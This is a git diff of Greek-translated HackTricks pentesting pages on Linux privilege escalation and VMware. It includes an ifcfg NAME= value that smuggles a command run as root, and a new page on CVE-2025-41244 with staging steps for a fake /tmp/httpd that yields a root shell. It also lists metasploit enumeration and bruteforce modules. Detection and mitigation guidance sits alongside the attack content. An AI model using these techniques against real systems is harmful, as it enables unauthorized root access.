τροποποιήσετε logs, ελέγξτε ποιος τα διαχειρίζεται και αν μπορείτε να αποκτήσετε αυξημένα προνόμια αντικαθιστώντας τα με symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Αναφορά ευπάθειας:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Εάν, για οποιονδήποτε λόγο, ένας χρήστης μπορεί να **write** ένα `ifcf-` script στο _/etc/sysconfig/network-scripts_ **ή** να **adjust** ένα υπάρχον, τότε το σύστημά σας είναι **pwned**. +Εάν, για οποιονδήποτε λόγο, ένας χρήστης μπορεί να **γράψει** ένα `ifcf-` script στο _/etc/sysconfig/network-scripts_ **ή** μπορεί να **τροποποιήσει** ένα υπάρχον, τότε το σύστημά σας είναι pwned. -Τα network scripts, π.χ. _ifcg-eth0_, χρησιμοποιούνται για συνδέσεις δικτύου. Μοιάζουν ακριβώς με .INI αρχεία. Ωστόσο, \~sourced\~ στο Linux από τον Network Manager (dispatcher.d). +Τα network scripts, π.χ. _ifcg-eth0_, χρησιμοποιούνται για δικτυακές συνδέσεις. Μοιάζουν ακριβώς με αρχεία .INI. Ωστόσο, αυτά ~sourced~ στο Linux από το Network Manager (dispatcher.d). -Στην περίπτωσή μου, η τιμή `NAME=` σε αυτά τα network scripts δεν χειρίζεται σωστά. Αν έχετε **κενό στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το κενό**. Αυτό σημαίνει ότι **ό,τι βρίσκεται μετά το πρώτο κενό εκτελείται ως root**. +Στην περίπτωσή μου, η τιμή `NAME=` στα network scripts δεν χειρίζεται σωστά. Αν υπάρχει **κενό διάστημα στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το κενό διάστημα**. Αυτό σημαίνει ότι **ό,τιδήποτε μετά το πρώτο κενό εκτελείται ως root**. Για παράδειγμα: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1416,17 +1453,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Σημείωση: ο κενός χώρος μεταξύ Network και /bin/id_) +(_Σημειώστε το κενό διάστημα μεταξύ Network και /bin/id_) -### **init, init.d, systemd, και rc.d** +### **init, init.d, systemd, and rc.d** -Ο κατάλογος `/etc/init.d` φιλοξενεί **scripts** για System V init (SysVinit), το **κλασικό Linux service management system**. Περιλαμβάνει scripts για `start`, `stop`, `restart`, και μερικές φορές `reload` υπηρεσίες. Αυτά μπορούν να εκτελεστούν απευθείας ή μέσω symbolic links που βρίσκονται στο `/etc/rc?.d/`. Εναλλακτική διαδρομή σε Redhat συστήματα είναι `/etc/rc.d/init.d`. +Ο κατάλογος `/etc/init.d` φιλοξενεί **scripts** για System V init (SysVinit), το **κλασικό σύστημα διαχείρισης υπηρεσιών του Linux**. Περιλαμβάνει scripts για `start`, `stop`, `restart`, και μερικές φορές `reload` υπηρεσίες. Αυτά μπορούν να εκτελεστούν άμεσα ή μέσω symbolic links που βρίσκονται στο `/etc/rc?.d/`. Μια εναλλακτική διαδρομή σε Redhat συστήματα είναι το `/etc/rc.d/init.d`. -Από την άλλη, το `/etc/init` συνδέεται με **Upstart**, ένα νεότερο σύστημα διαχείρισης υπηρεσιών που εισήχθη από το Ubuntu, χρησιμοποιώντας αρχεία ρυθμίσεων για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση σε Upstart, τα SysVinit scripts εξακολουθούν να χρησιμοποιούνται παράλληλα με τις Upstart ρυθμίσεις λόγω ενός στρώματος συμβατότητας στο Upstart. +Από την άλλη, το `/etc/init` σχετίζεται με **Upstart**, ένα νεότερο **service management** που εισήγαγε η Ubuntu, χρησιμοποιώντας configuration αρχεία για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση σε Upstart, τα SysVinit scripts εξακολουθούν να χρησιμοποιούνται παράλληλα με τις Upstart configurations λόγω ενός compatibility layer στο Upstart. -Το **systemd** εμφανίζεται ως ένας σύγχρονος αρχικοποιητής και διαχειριστής υπηρεσιών, παρέχοντας προηγμένες δυνατότητες όπως εκκίνηση daemons κατά απαίτηση, διαχείριση automount και snapshots κατάστασης συστήματος. Οργανώνει αρχεία σε `/usr/lib/systemd/` για πακέτα διανομής και `/etc/systemd/system/` για τροποποιήσεις από τον διαχειριστή, απλοποιώντας τη διαδικασία διαχείρισης του συστήματος. +Το **systemd** εμφανίζεται ως ένας σύγχρονος initialization και service manager, προσφέροντας προηγμένα χαρακτηριστικά όπως on-demand daemon starting, automount management, και system state snapshots. Οργανώνει αρχεία στο `/usr/lib/systemd/` για πακέτα διανομής και στο `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, απλοποιώντας τη διαχείριση του συστήματος. -## Άλλα Tricks +## Other Tricks ### NFS Privilege escalation @@ -1451,25 +1488,35 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Τα Android rooting frameworks συχνά κάνουν hook σε ένα syscall για να εκθέσουν προνομιακή λειτουργικότητα του kernel σε έναν userspace manager. Αδύναμη authentication του manager (π.χ. έλεγχοι υπογραφής βασισμένοι στο FD-order ή ανεπαρκή password schemes) μπορεί να επιτρέψει σε μια τοπική εφαρμογή να προσποιηθεί τον manager και να ανυψωθεί σε root σε συσκευές που είναι ήδη rooted. Μάθετε περισσότερα και λεπτομέρειες εκμετάλλευσης εδώ: +Τα Android rooting frameworks συνήθως κάνουν hook ένα syscall για να εκθέσουν privileged kernel functionality σε έναν userspace manager. Αδύναμη authentication του manager (π.χ. signature checks βασισμένα σε FD-order ή φτωχά password schemes) μπορεί να επιτρέψει σε μια τοπική app να μιμηθεί τον manager και να ανεβάσει τα δικαιώματα σε root σε ήδη-rooted συσκευές. Μάθετε περισσότερα και λεπτομέρειες εκμετάλλευσης εδώ: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} +## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) + +Το regex-driven service discovery στο VMware Tools/Aria Operations μπορεί να εξάγει ένα binary path από τις command lines διεργασιών και να το εκτελέσει με -v υπό privileged context. Επιτρεπτικά patterns (π.χ. με χρήση \S) μπορεί να ταιριάξουν attacker-staged listeners σε εγγράψιμες τοποθεσίες (π.χ. /tmp/httpd), οδηγώντας σε εκτέλεση ως root (CWE-426 Untrusted Search Path). + +Μάθετε περισσότερα και δείτε ένα γενικευμένο pattern εφαρμόσιμο σε άλλα discovery/monitoring stacks εδώ: + +{{#ref}} +vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} + ## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Περισσότερη βοήθεια +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Καλύτερο εργαλείο για την εύρεση Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1482,7 +1529,11 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Αναφορές +## References + +- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) +- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) + - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1505,4 +1556,6 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) - [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md new file mode 100644 index 000000000..ea21378ff --- /dev/null +++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -0,0 +1,146 @@ +# VMware Tools service discovery LPE (CWE-426) μέσω ανίχνευσης δυαδικών αρχείων βασισμένης σε regex (CVE-2025-41244) + +{{#include ../../banners/hacktricks-training.md}} + +Αυτή η τεχνική καταχράται pipelines ανίχνευσης υπηρεσιών που καθοδηγούνται από regex και αναλύουν τις γραμμές εντολών των διεργασιών για να υπολογίσουν εκδόσεις υπηρεσιών και στη συνέχεια εκτελούν ένα υποψήφιο binary με ένα flag "version". Όταν επιτρεπτικά patterns αποδέχονται μη αξιόπιστες, ελεγχόμενες από τον attacker διαδρομές (π.χ. /tmp/httpd), ο privileged collector εκτελεί οποιοδήποτε δυαδικό από μη αξιόπιστη τοποθεσία, οδηγώντας σε τοπική κλιμάκωση προνομίων. NVISO τεκμηρίωσε αυτό στο VMware Tools/Aria Operations Service Discovery ως CVE-2025-41244. + +- Επιπτώσεις: Τοπική κλιμάκωση προνομίων σε root (ή στον privileged discovery account) +- Αιτία ρίζας: Untrusted Search Path (CWE-426) + permissive regex matching των γραμμών εντολών διεργασιών +- Επηρεαζόμενα: open-vm-tools/VMware Tools σε Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery μέσω Tools/proxy) + +## Πώς λειτουργεί η ανίχνευση υπηρεσιών VMware (σε υψηλό επίπεδο) + +- Credential-based (legacy): Aria εκτελεί discovery scripts μέσα στο guest μέσω VMware Tools χρησιμοποιώντας διαμορφωμένα privileged credentials. +- Credential-less (modern): Η λογική ανακάλυψης τρέχει εντός του VMware Tools, ήδη privileged μέσα στο guest. + +Και οι δύο λειτουργίες τελικά τρέχουν shell λογική που σαρώνει διεργασίες με listening sockets, εξάγει ένα matching command path μέσω regex, και εκτελεί το πρώτο argv token με ένα version flag. + +## Root cause and vulnerable pattern (open-vm-tools) + +Στο open-vm-tools, το serviceDiscovery plugin script get-versions.sh ταιριάζει υποψήφια binaries χρησιμοποιώντας ευρείες regular expressions και εκτελεί το πρώτο token χωρίς καμία trusted-path validation: +```bash +get_version() { +PATTERN=$1 +VERSION_OPTION=$2 +for p in $space_separated_pids +do +COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") +[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND +done +} +``` +Καλείται με επιτρεπτικά πρότυπα που περιέχουν \S (μη-διάστημα) και που θα ταιριάξουν άνετα με μη-συστημικές διαδρομές σε τοποθεσίες εγγράψιμες από τον χρήστη: +```bash +get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v +get_version "/usr/(bin|sbin)/apache\S*" -v +get_version "/\S+/mysqld($|\s)" -V +get_version "\.?/\S*nginx($|\s)" -v +get_version "/\S+/srm/bin/vmware-dr($|\s)" --version +get_version "/\S+/dataserver($|\s)" -v +``` +- Η εξαγωγή χρησιμοποιεί grep -Eo και παίρνει το πρώτο token: ${COMMAND%%[[:space:]]*} +- Δεν υπάρχει whitelist/allowlist trusted system paths· οποιοσδήποτε discovered listener με matching name εκτελείται με -v/--version + +Αυτό δημιουργεί ένα untrusted search path execution primitive: arbitrary binaries που βρίσκονται σε world-writable directories (π.χ. /tmp/httpd) εκτελούνται από ένα privileged component. + +## Εκμετάλλευση (και στις δύο λειτουργίες credential-less και credential-based) + +Προϋποθέσεις +- Μπορείτε να τρέξετε μια unprivileged διαδικασία που ανοίγει ένα listening socket στο guest. +- Το discovery job είναι ενεργοποιημένο και τρέχει περιοδικά (ιστορικά ~5 λεπτά). + +Βήματα +1) Τοποθετήστε/stage ένα binary σε ένα path που ταιριάζει με ένα από τα permissive regexes, π.χ. /tmp/httpd ή ./nginx +2) Τρέξτε το ως low-privileged user και βεβαιωθείτε ότι ανοίγει κάποιο listening socket +3) Περιμένετε τον discovery cycle· ο privileged collector θα εκτελέσει αυτόματα: /tmp/httpd -v (ή παρόμοιο), τρέχοντας το πρόγραμμά σας ως root + +Ελάχιστο demo (using NVISO’s approach) +```bash +# Build any small helper that: +# - default mode: opens a dummy TCP listener +# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i) +# Example staging and trigger +cp your_helper /tmp/httpd +chmod +x /tmp/httpd +/tmp/httpd # run as low-priv user and wait for the cycle +# After the next cycle, expect a root shell or your privileged action +``` +Τυπική ακολουθία διεργασιών +- Με διαπιστευτήρια: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i +- Χωρίς διαπιστευτήρια: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i + +Τεκμήρια (με διαπιστευτήρια) +Ανακτημένα SDMP wrapper scripts κάτω από /tmp/VMware-SDMP-Scripts-{UUID}/ μπορεί να δείχνουν άμεση εκτέλεση της κακόβουλης διαδρομής: +```bash +/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" +``` +## Γενικεύοντας την τεχνική: regex-driven discovery abuse (portable pattern) + +Many agents and monitoring suites implement version/service discovery by: +- Enumerating processes with listening sockets +- Grepping argv/command lines with permissive regexes (e.g., patterns containing \S) +- Executing the matched path with a benign flag like -v, --version, -V, -h + +Αν το regex αποδέχεται μη αξιόπιστα paths και το path εκτελείται από περιβάλλον με προνόμια, προκύπτει CWE-426 Untrusted Search Path execution. + +Abuse recipe +- Ονομάστε το binary σας όπως συνήθεις daemons που το regex πιθανότατα θα ταιριάξει: httpd, nginx, mysqld, dataserver +- Τοποθετήστε το σε writable directory: /tmp/httpd, ./nginx +- Βεβαιωθείτε ότι ταιριάζει στο regex και ανοίγει οποιαδήποτε port για να εντοπιστεί +- Περιμένετε τον scheduled collector· θα λάβετε μια αυτόματη privileged invocation του -v + +Masquerading note: Αυτό ευθυγραμμίζεται με MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) για να αυξήσει την πιθανότητα ταύτισης και τη stealth. + +Επαναχρησιμοποιήσιμο κόλπο privileged I/O relay +- Κατασκευάστε τον helper σας έτσι ώστε κατά την privileged invocation (-v/--version) να συνδέεται σε γνωστό rendezvous (π.χ. ένα Linux abstract UNIX socket όπως @cve) και να γεφυρώνει stdio σε /bin/sh -i. Αυτό αποφεύγει on-disk artifacts και δουλεύει σε πολλά περιβάλλοντα όπου το ίδιο binary επανεκκινείται με flag. + +## Detection and DFIR guidance + +Ερωτήματα αναζήτησης +- Μη συνηθισμένα children του vmtoolsd ή get-versions.sh όπως /tmp/httpd, ./nginx, /tmp/mysqld +- Οποιαδήποτε εκτέλεση μη-system absolute paths από discovery scripts (ψάξτε για spaces σε ${COMMAND%%...} expansions) +- ps -ef --forest για οπτικοποίηση δέντρων καταγωγής: vmtoolsd -> get-versions.sh -> + +On Aria SDMP (credential-based) +- Εξετάστε /tmp/VMware-SDMP-Scripts-{UUID}/ για transient scripts και stdout/stderr artifacts που δείχνουν εκτέλεση attacker paths + +Πολιτική/τηλεμετρία +- Ειδοποιήστε όταν privileged collectors εκτελούνται από μη-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/ +- File integrity monitoring για get-versions.sh και VMware Tools plugins + +## Mitigations + +- Patch: Εφαρμόστε Broadcom/VMware updates για CVE-2025-41244 (Tools and Aria Operations SDMP) +- Απενεργοποιήστε ή περιορίστε credential-less discovery όπου είναι εφικτό +- Επικυρώστε trusted paths: περιορίστε την εκτέλεση σε allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) και μόνο σε ακριβή γνωστά binaries +- Αποφύγετε permissive regexes με \S; προτιμήστε anchored, explicit absolute paths και exact command names +- Χαμηλώστε προνόμια για discovery helpers όπου είναι δυνατό· sandbox (seccomp/AppArmor) για μείωση επιπτώσεων +- Παρακολουθήστε και ειδοποιήστε για vmtoolsd/get-versions.sh που εκτελούν non-system paths + +## Σημειώσεις για υπερασπιστές και υλοποιητές + +Πιο ασφαλές μοτίβο matching και execution +```bash +# Bad: permissive regex and blind exec +COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") +[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v + +# Good: strict allowlist + path checks +candidate=$(get_command_line "$pid" | awk '{print $1}') +case "$candidate" in +/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2) +"$candidate" -v 2>&1 ;; +*) +: # ignore non-allowlisted paths +;; +esac +``` +## Αναφορές + +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) +- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) +- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh) +- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) +- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index c042c7de4..a3aecd1bc 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -1,16 +1,28 @@ +# VMware ESX / vCenter Pentesting + {{#include ../../banners/hacktricks-training.md}} -# Απαρίθμηση +## Απογραφή ```bash nmap -sV --script "http-vmware-path-vuln or vmware-version" -p msf> use auxiliary/scanner/vmware/esx_fingerprint msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump ``` -# Βία κατά βούληση +## Bruteforce ```bash msf> auxiliary/scanner/vmware/vmware_http_login ``` -Αν βρείτε έγκυρα διαπιστευτήρια, μπορείτε να χρησιμοποιήσετε περισσότερα modules σαρωτή του metasploit για να αποκτήσετε πληροφορίες. +Αν βρείτε έγκυρα credentials, μπορείτε να χρησιμοποιήσετε περισσότερα metasploit scanner modules για να αποκτήσετε πληροφορίες. + + + +### Δείτε επίσης + +Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244): + +{{#ref}} +../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} {{#include ../../banners/hacktricks-training.md}}